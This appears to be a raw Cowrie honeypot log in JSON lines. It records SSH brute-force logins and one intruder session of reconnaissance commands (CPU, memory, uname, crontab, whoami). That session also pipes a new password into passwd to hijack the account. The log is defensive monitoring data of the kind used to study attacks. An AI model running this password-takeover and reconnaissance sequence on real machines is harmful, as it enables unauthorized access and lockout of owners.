{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:51.205134Z","src_ip":"88.205.172.170","session":"b501e29ec9f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:51.883659Z","src_ip":"88.205.172.170","session":"b501e29ec9f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:53.048774Z","src_ip":"88.205.172.170","session":"b501e29ec9f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":53328,"dst_ip":"10.17.0.5","dst_port":22,"session":"865ff9d39199","protocol":"ssh","message":"New connection: 88.205.172.170:53328 (10.17.0.5:22) [session: 865ff9d39199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:53.205110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:53.209779Z","src_ip":"88.205.172.170","session":"865ff9d39199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:53.401273Z","src_ip":"88.205.172.170","session":"865ff9d39199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:54.030382Z","src_ip":"88.205.172.170","session":"865ff9d39199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:55.198568Z","src_ip":"88.205.172.170","session":"865ff9d39199","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:55.414184Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:55.420011Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:55.583303Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:55.957321Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123321\\nEGySyhZxYR1k\\nEGySyhZxYR1k\"|passwd|bash","message":"CMD: echo -e \"admin123321\\nEGySyhZxYR1k\\nEGySyhZxYR1k\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:55.961791Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:55.966008Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:55.971004Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4ec2e64068c4d4cd810bfbbad6862373a0e0fd6eb1c59f5038247a2dd41ab224","size":32,"shasum":"4ec2e64068c4d4cd810bfbbad6862373a0e0fd6eb1c59f5038247a2dd41ab224","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4ec2e64068c4d4cd810bfbbad6862373a0e0fd6eb1c59f5038247a2dd41ab224 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:56.135421Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:56.495646Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123321\\nEGySyhZxYR1k\\nEGySyhZxYR1k\\n\"|passwd","message":"CMD: echo \"admin123321\\nEGySyhZxYR1k\\nEGySyhZxYR1k\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:56.499233Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0779a8f2b21e7951d32ec2fdacbcf82b0aa13645c1853b66fde704aef5b63a92","size":25,"shasum":"0779a8f2b21e7951d32ec2fdacbcf82b0aa13645c1853b66fde704aef5b63a92","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/0779a8f2b21e7951d32ec2fdacbcf82b0aa13645c1853b66fde704aef5b63a92 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:56.660322Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:57.073080Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:57.076811Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:57.238955Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:57.606533Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:57.610686Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:57.773106Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:58.134609Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:58.138263Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:58.141543Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:58.304140Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:58.665946Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:58.668709Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:58.829408Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:59.187076Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:59.190436Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:59.351480Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.12258815765381,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:59.594361Z","src_ip":"104.245.105.2","session":"dbbe311c23cb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:59.713749Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:59.717788Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:59.878884Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:00.259255Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:00.263214Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:00.425890Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:00.791377Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:00.794677Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:00.956499Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:01.342232Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:01.346208Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:01.508111Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:01.884296Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:01.888601Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:02.051457Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:02.420595Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:02.424350Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:02.586833Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:02.962905Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:02.968058Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:03.132005Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:03.499148Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:03.503157Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:03.666390Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:03.677684Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43052,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace8d77a1e7c","protocol":"telnet","message":"New connection: 104.245.105.2:43052 (10.17.0.5:23) [session: ace8d77a1e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:49:26.863314Z"}
